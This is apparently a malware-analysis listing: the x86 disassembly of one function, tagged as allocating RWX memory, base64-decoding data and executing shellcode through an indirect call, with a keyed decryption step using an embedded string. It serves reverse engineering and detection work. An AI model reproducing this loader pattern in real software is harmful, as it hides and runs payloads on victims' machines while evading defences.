Function at 0x405050
Capabilities:
Allocate or change rwx memory
Decode data using base64 via winapi
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
push ebx
push esi
mov eax, ecx
mov dword [ebp - 0x24], edx
push edi
push eax
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
inc eax
push 0x40
push 0x3000
mov dword [ebp - 0xc], eax
lea esi, [eax + 1]
push esi
push 0
call ebx
mov dword [ebp - 0x28], eax
test eax, eax
je 0x405094
cmp dword [ebp - 0xc], esi
jae 0x405094
mov edi, eax
jmp 0x405096
xor edi, edi
xor esi, esi
lea eax, [ebp - 0xc]
push esi
push esi
push eax
push edi
push 1
push esi
push dword [ebp - 8]
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
je 0x40525e
mov eax, dword [0x410130]
movq xmm0, qword [str.aeriedjDshasj]
mov esi, dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
mov ax, word [0x410134]
mov word [ebp - 0x10], ax
mov al, byte [0x410136]
push 0xff
mov byte [ebp - 0xe], al
lea eax, [ebp - 0x127]
push 0
push eax
movq qword [ebp - 0x1c], xmm0
mov byte [ebp - 0x128], 0
call fcn.00408b30
add esp, 0xc
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea edx, [ebp - 0x1c]
lea ecx, [ebp - 0x128]
call fcn.00405c40
push esi
mov edx, edi
lea ecx, [ebp - 0x128]
call fcn.00405cf0
add esp, 8
lea ecx, [ebp - 0x1c]
xorps xmm0, xmm0
movdqu xmmword [ebp - 0x1c], xmm0
push edi
call fcn.004033e0
cmp dword [ebp - 0x1c], 0
jne 0x405266
mov edi, dword [ebp - 0x18]
mov dword [ebp - 8], 1
test edi, edi
je 0x4051ee
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push 0x40
push 0x3000
mov dword [ebp - 4], eax
lea esi, [eax + 1]
push esi
push 0
call ebx
mov dword [ebp - 0x20], eax
test eax, eax
je 0x40517a
cmp dword [ebp - 4], esi
jae 0x40517a
mov esi, eax
jmp 0x40517c
xor esi, esi
push 0
push 0
lea eax, [ebp - 4]
push eax
push esi
push 1
push 0
push edi
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
je 0x4051de
mov eax, dword [ebp - 4]
push 4
push 0x3000
lea eax, [eax*2 + 2]
push eax
push 0
call ebx
mov ebx, eax
test ebx, ebx
je 0x4051d8
mov ecx, dword [ebp - 4]
inc ecx
push ecx
push ebx
push 0xffffffffffffffff
push esi
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
jle 0x4051d2
mov dword [0x412b00], ebx
jmp 0x4051d8
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x8000
push 0
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov esi, dword [ebp - 0x14]
test esi, esi
je 0x40521a
push 4
push 0x3000
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push 0
call ebx
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
test eax, eax
je 0x40521a
push esi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ebx, dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
test edi, edi
je 0x405236
push edi
push 0
call eax
push eax
call ebx
mov eax, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
test esi, esi
je 0x405242
push esi
push 0
call eax
push eax
call ebx
mov esi, dword [ebp - 8]
push 0x8000
push 0
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x405245
call fcn.00404fd0
int3